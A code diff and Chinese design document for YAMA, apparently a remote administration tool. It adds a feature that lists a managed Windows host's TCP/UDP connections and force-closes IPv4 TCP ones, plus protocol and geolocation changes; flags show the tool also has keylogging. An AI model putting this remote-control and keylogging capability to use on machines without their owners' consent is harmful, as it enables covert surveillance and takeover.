COMMAND_TLS_ENABLE = 166, // 服务端 → 客户端:启用 TLS 传输(写注册表,下次启动生效)
|
||||||
|
COMMAND_TLS_DISABLE = 167, // 服务端 → 客户端:停用 TLS 传输(写注册表,下次启动生效)
|
||||||
|
COMMAND_REGEN_CLIENT_ID = 168, // 服务端 → 客户端:撞 ID 的克隆机重生成 client_id(掺随机 UUID)后重连
|
||||||
|
COMMAND_SCREEN_KEYFRAME_REQ = 169, // 服务端 → 客户端:下一次屏幕编码强制输出 IDR(Web 屏幕墙恢复用)
|
||||||
|
|
||||||
TOKEN_DECRYPT = 199,
|
TOKEN_DECRYPT = 199,
|
||||||
TOKEN_REGEDIT = 200, // 注册表
|
TOKEN_REGEDIT = 200, // 注册表
|
||||||
COMMAND_REG_FIND, // 注册表 管理标识
|
COMMAND_REG_FIND, // 注册表 管理标识
|
||||||
@@ -357,8 +367,32 @@ enum {
|
|||||||
COMMAND_TEXT_REPLACE = 249,
|
COMMAND_TEXT_REPLACE = 249,
|
||||||
TOKEN_CLIP_TEXT = 250,
|
TOKEN_CLIP_TEXT = 250,
|
||||||
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
|
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
|
||||||
|
CMD_FILE_SPEED = 252, // 文件传输速度下发: [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
|
||||||
|
|
||||||
|
COMMAND_CONNECTION = 253, // 连接管理(服务端→客户端:查询/刷新连接列表)
|
||||||
|
COMMAND_KILL_CONNECTION = 254, // 强制断开指定连接(服务端→客户端)
|
||||||
|
TOKEN_CONNECTION_LIST = 255, // 连接列表响应(客户端→服务端)
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// 单条连接记录(客户端 → 服务端)。地址字段存网络字节序(IPv4 展开为前 4 字节、IPv6 为 16 字节),
|
||||||
|
// 端口字段存主机字节序(客户端 ntohs 转换)。断连时反向还原:地址拼回网络序 DWORD、端口 htons 转回
|
||||||
|
// 网络序,填回 MIB_TCPROW 调 SetTcpEntry(iphlpapi 的地址/端口均为网络序)。
|
||||||
|
#pragma pack(push, 1)
|
||||||
|
struct ConnectionInfo {
|
||||||
|
uint8_t proto; // 1=TCP, 2=UDP [1]
|
||||||
|
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
|
||||||
|
uint32_t pid; // 所属进程 PID [4]
|
||||||
|
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
|
||||||
|
uint16_t localPort; // 主机字节序(小端) [2]
|
||||||
|
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
|
||||||
|
uint16_t remotePort; // 主机字节序,同上 [2]
|
||||||
|
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
|
||||||
|
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
|
||||||
|
}; // 合计 110
|
||||||
|
#pragma pack(pop)
|
||||||
|
|
||||||
|
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be exactly 110 bytes");
|
||||||
|
|
||||||
#pragma pack(push, 1)
|
#pragma pack(push, 1)
|
||||||
struct SignatureResp {
|
struct SignatureResp {
|
||||||
char msg[64];
|
char msg[64];
|
||||||
@@ -1031,6 +1065,7 @@ enum LOGIN_RES {
|
|||||||
RES_CLIENT_ID = 16, // 客户端唯一ID
|
RES_CLIENT_ID = 16, // 客户端唯一ID
|
||||||
RES_PID = 17, // 进程ID
|
RES_PID = 17, // 进程ID
|
||||||
RES_FILESIZE = 18, // 文件大小
|
RES_FILESIZE = 18, // 文件大小
|
||||||
|
RES_TLS = 19, // TLS 传输启用标志 0/1
|
||||||
RES_MAX,
|
RES_MAX,
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -1183,7 +1218,9 @@ typedef struct MasterSettings {
|
|||||||
char GetPluginUrl[80]; // Since 2026-04-08
|
char GetPluginUrl[80]; // Since 2026-04-08
|
||||||
char Authorized; // Since 2026-05-15
|
char Authorized; // Since 2026-05-15
|
||||||
char IsTrail; // Since 2026-05-15
|
char IsTrail; // Since 2026-05-15
|
||||||
char Reserved[106]; // Since 2025-11-27
|
uint16_t TransferChunkKb; // Since 2026-10-07 文件传输速度 chunkKb(随登录配置下发)
|
||||||
|
uint16_t TransferDurationMs; // Since 2026-10-07 文件传输速度 durationMs(0=不限速)
|
||||||
|
char Reserved[102]; // Since 2025-11-27
|
||||||
} MasterSettings;
|
} MasterSettings;
|
||||||
#pragma pack(pop)
|
#pragma pack(pop)
|
||||||
|
|
||||||
|
|||||||
@@ -16,6 +16,7 @@
|
|||||||
#define ENABLE_AUDIO_MNG TRUE // 语音管理
|
#define ENABLE_AUDIO_MNG TRUE // 语音管理
|
||||||
#define ENABLE_VIDEO_MNG TRUE // 视频管理
|
#define ENABLE_VIDEO_MNG TRUE // 视频管理
|
||||||
#define ENABLE_SERVICE_MNG TRUE // 服务管理
|
#define ENABLE_SERVICE_MNG TRUE // 服务管理
|
||||||
|
#define ENABLE_CONNECTION_MNG TRUE // 连接管理
|
||||||
#define ENABLE_REGISTRY TRUE // 注册表管理
|
#define ENABLE_REGISTRY TRUE // 注册表管理
|
||||||
#define ENABLE_KEYBOARD TRUE // 键盘记录
|
#define ENABLE_KEYBOARD TRUE // 键盘记录
|
||||||
|
|
||||||
|
|||||||
@@ -256,6 +256,18 @@ public:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// 文件传输速度:读取 [transfer] 节 ChunkKb / DurationMs,缺省 64KB/50ms(≈1.25MB/s),
|
||||||
|
// 并夹到安全范围。服务端(THIS_CFG)与客户端(iniFile(CLIENT_PATH))共用此逻辑,保证
|
||||||
|
// 各 InitFileUpload 调用点读到的档位一致(库按进程级引用计数只在首次设定速度,见
|
||||||
|
// docs/FileTransferSpeed_Design.md)。
|
||||||
|
inline void GetTransferSpeed(config& cfg, int& chunkKb, int& durMs)
|
||||||
|
{
|
||||||
|
chunkKb = cfg.GetInt("transfer", "ChunkKb", 64);
|
||||||
|
durMs = cfg.GetInt("transfer", "DurationMs", 50);
|
||||||
|
if (chunkKb <= 0 || chunkKb > 1024) chunkKb = 64;
|
||||||
|
if (durMs < 0 || durMs > 2000) durMs = 50;
|
||||||
|
}
|
||||||
|
|
||||||
// 配置读取类: 注册表配置(带键句柄缓存)
|
// 配置读取类: 注册表配置(带键句柄缓存)
|
||||||
// 注意:缓存操作非线程安全,但竞态条件只会导致少量重复打开,不会崩溃
|
// 注意:缓存操作非线程安全,但竞态条件只会导致少量重复打开,不会崩溃
|
||||||
class iniFile : public config
|
class iniFile : public config
|
||||||
|
|||||||
+25
-3
@@ -4,6 +4,8 @@
|
|||||||
#include <iphlpapi.h>
|
#include <iphlpapi.h>
|
||||||
#include <ws2tcpip.h>
|
#include <ws2tcpip.h>
|
||||||
#include <WinInet.h>
|
#include <WinInet.h>
|
||||||
|
#include <map>
|
||||||
|
#include <mutex>
|
||||||
#include "logger.h"
|
#include "logger.h"
|
||||||
#include "jsoncpp/json.h"
|
#include "jsoncpp/json.h"
|
||||||
|
|
||||||
@@ -200,6 +202,18 @@ public:
|
|||||||
{
|
{
|
||||||
if (IP.empty()) return "";
|
if (IP.empty()) return "";
|
||||||
|
|
||||||
|
// 进程级缓存(函数局部 static)。用局部 static 而非类成员,是为了不改动
|
||||||
|
// IPConverter 的类布局/尺寸——QQWry/Ip2Region 派生类来自预编译的
|
||||||
|
// PrivateDesktop_Lib.lib,改成员会与其产生 ABI 尺寸差异。
|
||||||
|
static std::map<std::string, std::string> geoCaches;
|
||||||
|
static std::mutex geoMutex;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(geoMutex);
|
||||||
|
auto it = geoCaches.find(IP);
|
||||||
|
if (it != geoCaches.end())
|
||||||
|
return it->second;
|
||||||
|
}
|
||||||
|
|
||||||
std::string ip = IP;
|
std::string ip = IP;
|
||||||
if (isLocalIP(ip)) {
|
if (isLocalIP(ip)) {
|
||||||
ip = getPublicIP();
|
ip = getPublicIP();
|
||||||
@@ -249,7 +263,13 @@ public:
|
|||||||
InternetCloseHandle(hInternet);
|
InternetCloseHandle(hInternet);
|
||||||
|
|
||||||
if (location.empty() && IsPrivateIP(ip)) {
|
if (location.empty() && IsPrivateIP(ip)) {
|
||||||
return "Local Area Network";
|
location = "Local Area Network";
|
||||||
|
}
|
||||||
|
|
||||||
|
// 只缓存成功结果;失败不缓存,允许下次重试。
|
||||||
|
if (!location.empty()) {
|
||||||
|
std::lock_guard<std::mutex> lk(geoMutex);
|
||||||
|
geoCaches[IP] = location;
|
||||||
}
|
}
|
||||||
return location;
|
return location;
|
||||||
}
|
}
|
||||||
@@ -308,8 +328,10 @@ private:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
std::string city = Utf8ToAnsi(json[cityField].asString());
|
// 地理位置 API 返回 UTF-8;不再转 CP_ACP——那会把 ö/ä/ß 等变音符替换成 '?'。
|
||||||
std::string country = Utf8ToAnsi(json[countryField].asString());
|
// GetGeoLocation 现统一返回 UTF-8,消费方按需用 NormalizeLocationToUtf8 / SafeUtf8ToAnsi 转。
|
||||||
|
std::string city = json[cityField].asString();
|
||||||
|
std::string country = json[countryField].asString();
|
||||||
|
|
||||||
if (!city.empty() && !country.empty()) return city + ", " + country;
|
if (!city.empty() && !country.empty()) return city + ", " + country;
|
||||||
if (!city.empty()) return city;
|
if (!city.empty()) return city;
|
||||||
|
|||||||
@@ -0,0 +1,259 @@
|
|||||||
|
# TCP/UDP 连接管理设计
|
||||||
|
|
||||||
|
> 版本:v1.1(已实现并评审) · 状态:**已施工,含字节序修正** · 日期:2026-10-04
|
||||||
|
> 目标:在 YAMA 服务端新增「连接管理」,实时展示受管主机当前的 TCP/UDP 连接,
|
||||||
|
> 并支持对选中的连接强制断开。这是服务管理、进程管理之外又一项「观测 + 管控」类功能。
|
||||||
|
>
|
||||||
|
> 需求原文(三点,逐一对应下文):
|
||||||
|
> 1. YAMA 工具栏增加一个图标,**唯有 MCP 后面**,通过这个图标打开连接管理对话框;
|
||||||
|
> 2. 客户端需要增加一个管理类来处理服务端请求;
|
||||||
|
> 3. 服务端有一个对话框类展示连接信息,支持右键菜单对选中的连接强制断开。
|
||||||
|
|
||||||
|
## 1. 目标与范围
|
||||||
|
|
||||||
|
### MVP
|
||||||
|
|
||||||
|
| 项 | 说明 |
|
||||||
|
|---|---|
|
||||||
|
| 工具栏入口 | `IDR_TOOLBAR_MAIN` 在 `ID_MCP_SETTINGS` 之后追加 `ID_CONNECTION_MANAGE` 按钮(第 17 个),点击向选中主机发 `COMMAND_CONNECTION` |
|
||||||
|
| 客户端管理类 | 新增 `CConnectionsManager : public CManager`,枚举本机 TCP/UDP 连接并回传,处理「刷新 / 强制断开」两条服务端命令 |
|
||||||
|
| 服务端对话框 | 新增 `CConnectionsDlg : public DialogBase`,表格展示连接,右键菜单「强制断开」发 `COMMAND_KILL_CONNECTION` |
|
||||||
|
|
||||||
|
### 非目标(Non-goals,本次不做)
|
||||||
|
|
||||||
|
- 不做 **UDP / IPv6 TCP 的强制断开**(无公开 API,见 §6),仅 IPv4 TCP 可断开,其余行只读展示。
|
||||||
|
- 不做「按进程批量断开」「按 PID 过滤」「连接历史/趋势图」。
|
||||||
|
- 不做 Linux/Mac/Android 客户端连接枚举(沿用 Windows 客户端先行的惯例)。
|
||||||
|
- 不改 MCP 工具集(`list_network_connections` 属于 P8 路线图,本设计只做 MFC 图形界面)。
|
||||||
|
|
||||||
|
## 2. 复用现状
|
||||||
|
|
||||||
|
本功能与「服务管理」端到端同构,直接以其为实现模板(`ServicesManager` / `ServicesDlg`)。
|
||||||
|
|
||||||
|
### 客户端模板(读参考实现,全部已核实)
|
||||||
|
|
||||||
|
- 命令分发:`client/KernelManager.cpp` `OnReceive` 的 `case COMMAND_SERVICES:`(约 1346 行):
|
||||||
|
```
|
||||||
|
{ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth();
|
||||||
|
m_hThread[m_ulThreadCount].p = sub; }
|
||||||
|
m_hThread[m_ulThreadCount++].h =
|
||||||
|
__CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||||
|
```
|
||||||
|
连接管理照抄,仅换 `LoopConnectionManager`。
|
||||||
|
- 子连接线程模板:`client/Common.cpp:33` `LoopManager<Manager, n>`(`Manager m(ClientObject, n, user)` 构造即发首包,随后跑 `RunEventLoop` 分发到 `Manager::OnReceive`);`LoopServicesManager = LoopManager<CServicesManager, 0>`。
|
||||||
|
- 管理类基类:`client/Manager.h` `CManager`(`OnReceive` 虚函数、`m_ClientObject`、`Send/SendData`、子连接生命周期)。
|
||||||
|
- 管理类实例:`client/ServicesManager.cpp`——构造即 `SendServicesList()`(17 行);`SendServicesList()` 里用
|
||||||
|
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);`(36–37 行)回传;`OnReceive` 里 `case COMMAND_SERVICELIST`(刷新)→ 重发、`case COMMAND_SERVICECONFIG`(动作)→ 执行后再重发(199–231 行)。
|
||||||
|
- 编译开关:`client/ServicesManager.h:13` `#if ENABLE_SERVICE_MNG==0 #define CServicesManager CManager` 的空实现占位模式;开关定义在 `common/config.h`(`ENABLE_SERVICE_MNG TRUE`)。
|
||||||
|
|
||||||
|
### 服务端模板(读参考实现,全部已核实)
|
||||||
|
|
||||||
|
- 对话框基类:`server/2015Remote/IOCPServer.h:158` `DialogBase`(`OnInitDialog` 建列 + 解析缓冲,`OnReceiveComplete` 按 token 分发,`OnNMRClickList` 右键菜单,`OnClose`→`CancelIO`)。
|
||||||
|
- 对话框实例:`server/2015Remote/ServicesDlg.cpp`——构造 `DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)`(24 行);`OnInitDialog` 里 `InsertColumnL` 建列 + `ShowServicesList()`(67–73 行);`OnNMRClickList` 里 `LoadMenu(IDR_MENU_SERVICES)` + `TrackPopupMenu`(216–226 行);`OnReceiveComplete` 里 `case TOKEN_SERVERLIST: ShowServicesList()`(231–235 行)。
|
||||||
|
- 打开对话框模板:`server/2015Remote/2015RemoteDlg.h:182` `OpenDialog<T, id, Show>`。
|
||||||
|
- 命令发送:`OnOnlineServerManager()`(`2015RemoteDlg.cpp:4758`):`BYTE bToken = COMMAND_SERVICES; SendSelectedCommand(&bToken, sizeof(BYTE));`。
|
||||||
|
- token 路由:`2015RemoteDlg.cpp:6609` `case TOKEN_SERVERLIST:` → `g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);`。
|
||||||
|
- 消息注册/处理:`ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)`(903 行)→ `OnOpenServicesDialog`(7811 行)→ `OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>`。
|
||||||
|
|
||||||
|
### 工具栏(读参考,全部已核实)
|
||||||
|
|
||||||
|
- 资源:`2015Remote.rc:1806` `IDR_TOOLBAR_MAIN TOOLBAR 48, 48`,现有 16 个 `BUTTON`,末尾为 `BUTTON ID_CHANGE_LANG`(1822 行)、`BUTTON ID_MCP_SETTINGS`(1823 行)。
|
||||||
|
- 真彩位图条:`IDB_BITMAP_MAIN`(133) → `res\ToolBar_Main.bmp`(**768×48 = 16 个 48×48 图标**,24 位),
|
||||||
|
`LoadTrueColorToolBar(48, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN)`(`2015RemoteDlg.cpp:1390`)
|
||||||
|
按 `nNbBtn = bmWidth/48` 建图像列表(`TrueColorToolBar.cpp` `SetTrueColorToolBar`),因此**新增第 17 个按钮必须同步把位图条加宽为 816×48 并补第 17 个图标**。
|
||||||
|
- 按钮文字:`SetButtonText(0..15)`(`2015RemoteDlg.cpp:1405–1420`),`SetButtonText(15, _T("MCP"))` 为当前最后一个。
|
||||||
|
- 全隐藏判定:`if (hiddenCount >= 16)`(1471 行)→ **无需改动**。该计数只统计「可隐藏功能按钮」
|
||||||
|
(终端/进程/窗口/桌面/文件/语音/视频/服务/注册表/键盘/设置/生成/搜索/关于,共 14 个),
|
||||||
|
`ID_CHANGE_LANG`、`ID_MCP_SETTINGS` 本就不在隐藏清单内;新增的连接按钮同样不参与隐藏,
|
||||||
|
`hiddenCount` 语义不变。
|
||||||
|
- 命令处理:`ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)`(993 行)→ 参照加 `ID_CONNECTION_MANAGE`。
|
||||||
|
|
||||||
|
### 网络 API(客户端,新增依赖)
|
||||||
|
|
||||||
|
- 枚举:`GetExtendedTcpTable(TCP_TABLE_OWNER_PID_ALL, ...)` + `MIB_TCPTABLE_OWNER_PID`;
|
||||||
|
同理 `GetExtendedUdpTable(UDP_TABLE_OWNER_PID)`;IPv6 用 `AF_INET6` 版本(`MIB_TCP6TABLE_OWNER_PID` / `MIB_UDP6TABLE_OWNER_PID`)。
|
||||||
|
- 断开:`SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(12)。
|
||||||
|
- 链接:`iphlpapi.lib`(用 `#pragma comment(lib, "iphlpapi.lib")` 内联,与代码库既有 `#pragma comment(lib, ...)` 风格一致,避免改 vcxproj)。
|
||||||
|
|
||||||
|
## 3. 协议与数据结构
|
||||||
|
|
||||||
|
### 3.1 新命令(`common/commands.h`,追加在 `CMD_FILE_SPEED = 252` 之后,均 ≤ 255 满足单字节 token)
|
||||||
|
|
||||||
|
```
|
||||||
|
COMMAND_CONNECTION = 253, // 服务端 → 客户端:查询/刷新连接列表(打开连接管理)
|
||||||
|
COMMAND_KILL_CONNECTION = 254, // 服务端 → 客户端:强制断开指定连接
|
||||||
|
TOKEN_CONNECTION_LIST = 255, // 客户端 → 服务端:连接列表响应
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.2 单条连接记录(客户端 → 服务端,固定 110 字节,小端)
|
||||||
|
|
||||||
|
```c
|
||||||
|
#pragma pack(push, 1)
|
||||||
|
struct ConnectionInfo {
|
||||||
|
uint8_t proto; // 1=TCP, 2=UDP [1]
|
||||||
|
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
|
||||||
|
uint32_t pid; // 所属进程 PID [4]
|
||||||
|
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
|
||||||
|
uint16_t localPort; // 主机字节序(小端,ntohs 转换后) [2]
|
||||||
|
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
|
||||||
|
uint16_t remotePort; // 主机字节序,同上 [2]
|
||||||
|
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
|
||||||
|
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
|
||||||
|
}; // 合计 110
|
||||||
|
#pragma pack(pop)
|
||||||
|
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be 110 bytes");
|
||||||
|
```
|
||||||
|
|
||||||
|
> **字节序约定(评审后修正)**:字段不能「原样 memcpy」iphlpapi 的结构成员。`dwLocalAddr`/`dwRemoteAddr`
|
||||||
|
> 是**网络序 DWORD**(值 `0xC0A80101` 即 `192.168.1.1`),客户端展开为 16 字节字段前 4 字节的**网络序字节**
|
||||||
|
> (`[0xC0,0xA8,0x01,0x01]`),服务端 `inet_ntop` 可直接展示、排序键也按数值序;`dwLocalPort`/`dwRemotePort`
|
||||||
|
> 低 16 位为**网络序**,客户端用 `ntohs` 转**主机序**再存入。断连时反向还原(地址拼回 DWORD、端口 `htons`)。
|
||||||
|
> 地址统一 16 字节字段承载,IPv4/IPv6 用同一个结构,避免两套记录。
|
||||||
|
|
||||||
|
### 3.3 列表响应(客户端 → 服务端)
|
||||||
|
|
||||||
|
```
|
||||||
|
[TOKEN_CONNECTION_LIST:1][count:2][ConnectionInfo:110] * count
|
||||||
|
```
|
||||||
|
|
||||||
|
- `count` 为 `uint16_t` 小端,上限 65535(枚举超限则截断,实际主机连接数远低于此)。
|
||||||
|
- 列表 >1460 字节会走 HTTP 分片;服务端 `HeaderParser::Parse` 的 `m_bShouldUnmask` 分片 bug
|
||||||
|
已在 `a72e6eb` 修复,续包可正常到达(与进程/服务列表一致)。
|
||||||
|
|
||||||
|
### 3.4 强制断开请求(服务端 → 客户端)
|
||||||
|
|
||||||
|
```
|
||||||
|
[COMMAND_KILL_CONNECTION:1][ConnectionInfo:110]
|
||||||
|
```
|
||||||
|
|
||||||
|
- 客户端校验 `proto==1 && af==2` 才执行(仅 IPv4 TCP),否则忽略并在回包列表中保留该行。
|
||||||
|
|
||||||
|
## 4. 客户端实现
|
||||||
|
|
||||||
|
新增 `client/ConnectionsManager.{h,cpp}`,镜像 `CServicesManager`:
|
||||||
|
|
||||||
|
- 类声明(`ConnectionsManager.h`):
|
||||||
|
```cpp
|
||||||
|
#if ENABLE_CONNECTION_MNG==0
|
||||||
|
#define CConnectionsManager CManager
|
||||||
|
#else
|
||||||
|
class CConnectionsManager : public CManager {
|
||||||
|
public:
|
||||||
|
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||||
|
virtual ~CConnectionsManager();
|
||||||
|
VOID SendConnectionList(); // 枚举并回传
|
||||||
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
void KillConnection(const ConnectionInfo& info);
|
||||||
|
};
|
||||||
|
#endif
|
||||||
|
```
|
||||||
|
- `SendConnectionList()`:
|
||||||
|
1. 依次 `GetExtendedTcpTable`(AF_INET / AF_INET6)+ `GetExtendedUdpTable`(AF_INET / AF_INET6),
|
||||||
|
汇总到 `std::vector<ConnectionInfo>`;IPv4 地址展开为网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序。
|
||||||
|
2. 每个 PID 用 `OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)` + `GetModuleBaseNameW` 取映像名,
|
||||||
|
转 UTF-8 写入 `procName[64]`;失败/PID 0 填 `"<unknown>"`(进程可能已退出,端点仍有效)。
|
||||||
|
3. 组包 `[TOKEN_CONNECTION_LIST:1][count:2][records...]`,用
|
||||||
|
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server(...);` 回传。
|
||||||
|
- `OnReceive()`:
|
||||||
|
- `case COMMAND_CONNECTION:` → `SendConnectionList()`(刷新)。
|
||||||
|
- `case COMMAND_KILL_CONNECTION:` → 校验长度 ≥ 111,读 `ConnectionInfo`,`KillConnection()`,再 `SendConnectionList()`。
|
||||||
|
- `KillConnection()`:仅 `proto==TCP && af==AF_INET`;组 `MIB_TCPROW`(`dwState=MIB_TCP_STATE_DELETE_TCB`),
|
||||||
|
地址由网络序字节拼回 DWORD(`GetAddr4`)、端口 `htons` 转回网络序,`SetTcpEntry(&row)`。
|
||||||
|
- 编译:`common/config.h` 增 `#define ENABLE_CONNECTION_MNG TRUE`(`// 连接管理`)。
|
||||||
|
- 分发(`client/KernelManager.cpp`):在 `case COMMAND_SERVICES:` 后加
|
||||||
|
```
|
||||||
|
case COMMAND_CONNECTION: {
|
||||||
|
if (!ENABLE_CONNECTION_MNG) return ResponseDisable(...);
|
||||||
|
{ auto* sub = new IOCPClient(...); sub->EnableSubConnAuth(); ...; }
|
||||||
|
m_hThread[m_ulThreadCount++].h = __CreateThread(..., LoopConnectionManager, ...);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- 线程注册(`client/Common.cpp` / `Common.h`):`#define LoopConnectionManager LoopManager<CConnectionsManager, 0>`。
|
||||||
|
|
||||||
|
## 5. 服务端实现
|
||||||
|
|
||||||
|
新增 `server/2015Remote/ConnectionsDlg.{h,cpp}`,镜像 `CServicesDlg`:
|
||||||
|
|
||||||
|
- `CConnectionsDlg(CWnd*, Server*, CONTEXT_OBJECT*) : DialogBase(IDD_DIALOG_CONNECTIONS, pParent, IOCPServer, ContextObject, IDI_CONNECTION)`。
|
||||||
|
- `OnInitDialog`:`InsertColumnL` 建列 `协议 | 本地地址 | 本地端口 | 远端地址 | 远端端口 | 状态 | PID | 进程名`(8 列),调 `ShowConnectionList()`。
|
||||||
|
- `ShowConnectionList()`:解析 `m_ContextObject->InDeCompressedBuffer`(`[token:1][count:2][records...]`)填表,
|
||||||
|
每条 `SetItemData` 存行内偏移(或直接把 `ConnectionInfo` 存进项关联数据),供右键断连取回记录。
|
||||||
|
- `OnReceiveComplete()`:`case TOKEN_CONNECTION_LIST: ShowConnectionList()`。
|
||||||
|
- `OnNMRClickList()`:用 `pNMItemActivate->iItem` 取**鼠标右键所在行**(而非仅依赖已选中行),
|
||||||
|
由该行 `SetItemData` 里存的 `ConnectionInfo` 拿回记录;`LoadMenu(IDR_MENU_CONNECTIONS)` →
|
||||||
|
`TrackPopupMenu`;菜单项「强制断开」(`ID_CONNECTION_KILL`)对**仅 IPv4 TCP 行可用**,发
|
||||||
|
`[COMMAND_KILL_CONNECTION:1][record:110]`;UDP/IPv6 行禁用该菜单项(`MF_GRAYED`)。
|
||||||
|
- 对话框标题栏图标 `IDI_CONNECTION`(`.ico`,`DialogBase` 构造第 5 参)与工具栏位图条第 17 个
|
||||||
|
48×48 图标是两回事:前者复用现有图标(如 `IDI_SERVICE`)或新增一个 `.ico`;后者编辑
|
||||||
|
`ToolBar_Main.bmp` 补第 17 格(见下)。
|
||||||
|
- 提供刷新(补发 `COMMAND_CONNECTION`)与 `OnClose`→`CancelIO()`。
|
||||||
|
|
||||||
|
工具栏 / 消息路由(`2015RemoteDlg.{h,cpp}` + `Resource.h` + `.rc`):
|
||||||
|
|
||||||
|
- `Resource.h`:`IDD_DIALOG_CONNECTIONS 404`、`IDR_MENU_CONNECTIONS 405`、`IDI_CONNECTION`(新图标 ID)、
|
||||||
|
`ID_CONNECTION_MANAGE 33086`(`_APS_NEXT_COMMAND_VALUE` 现为 33086,用后 +2)、`ID_CONNECTION_KILL`;
|
||||||
|
同步上调 `_APS_NEXT_RESOURCE_VALUE`/`_APS_NEXT_COMMAND_VALUE`。
|
||||||
|
- `.rc`(UTF-16LE,Node 脚本改):`IDR_TOOLBAR_MAIN` 末尾加 `BUTTON ID_CONNECTION_MANAGE`;
|
||||||
|
新增 `IDD_DIALOG_CONNECTIONS` 对话框与 `IDR_MENU_CONNECTIONS` 菜单。
|
||||||
|
- `res\ToolBar_Main.bmp`:**加宽为 816×48,补第 17 个 48×48「连接」图标**(实现时用脚本合成一个
|
||||||
|
双节点/插头样式图标插入条尾;图标观感属评审项)。
|
||||||
|
- `2015RemoteDlg.cpp`:
|
||||||
|
- `SetButtonText(16, _TR("连接管理"))`(1420 行后)。
|
||||||
|
- `hiddenCount >= 16`(1471 行)**无需改动**(连接按钮不参与隐藏,理由见 §2)。
|
||||||
|
- `ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)`(993 行后)。
|
||||||
|
- `OnConnectionManage()`:`BYTE bToken = COMMAND_CONNECTION; SendSelectedCommand(&bToken, sizeof(BYTE));`。
|
||||||
|
- `MessageHandle` 加 `case TOKEN_CONNECTION_LIST:` → `SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject)`(6609 行后)。
|
||||||
|
- `ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)` + `OnOpenConnectionDialog` →
|
||||||
|
`OpenDialog<CConnectionsDlg, IDD_DIALOG_CONNECTIONS>(wParam, lParam)`。
|
||||||
|
- `stdafx.h`:`#define WM_OPENCONNECTIONDIALOG WM_USER + 3045`(现最高占用 `WM_USER+3044`,已核实无冲突)。
|
||||||
|
- 语言:`lang/en_US.ini` / `zh_TW.ini`(GBK,Python 改)补「连接管理 / 强制断开 / 8 列表头」文案。
|
||||||
|
|
||||||
|
## 6. 强制断开的实现与限制
|
||||||
|
|
||||||
|
- **仅 IPv4 TCP** 用 `SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(公开 API 唯一支持)。
|
||||||
|
- **重构 `MIB_TCPROW` 要点**:`dwState=12`;`dwLocalAddr/dwRemoteAddr` 由 16 字节字段前 4 字节的
|
||||||
|
网络序字节拼回网络序 DWORD(`GetAddr4`);`dwLocalPort/dwRemotePort` 由主机序 `htons` 转回网络序。
|
||||||
|
- **UDP**:无「按端点关闭 socket」的公开 API,MVP 只读展示(菜单置灰)。
|
||||||
|
- **IPv6 TCP**:`SetTcpEntry` 的 `MIB_TCPROW` 为 IPv4 结构,无公开的 IPv6 对应删除 API,MVP 只读展示。
|
||||||
|
- **权限**:`SetTcpEntry` 需管理员/足够权限;YAMA 客户端通常以服务(SYSTEM)运行,满足。若非提权,
|
||||||
|
`SetTcpEntry` 返回错误,`KillConnection` 静默失败并在刷新后的列表中保留该行(可观察结果,不误报)。
|
||||||
|
|
||||||
|
## 7. 安全与边界
|
||||||
|
|
||||||
|
1. **可能断开 YAMA 自身控制通道**:连接列表包含客户端↔服务端的主/子连接本身,若管理员选中并强制断开,
|
||||||
|
对应主机会立即离线。对话框对此不做特殊保护(与 `kill_process` 可杀自身守护进程同理),
|
||||||
|
但列表按 PID 可辨识本程序进程名,便于人工避让。
|
||||||
|
2. **强制断开不可逆**:断的是对端已建立的 TCP 连接,应用层不保存状态,可能造成数据丢失;对话框不弹二次确认
|
||||||
|
(确认责任在操作者),但右键菜单为显式单点操作。
|
||||||
|
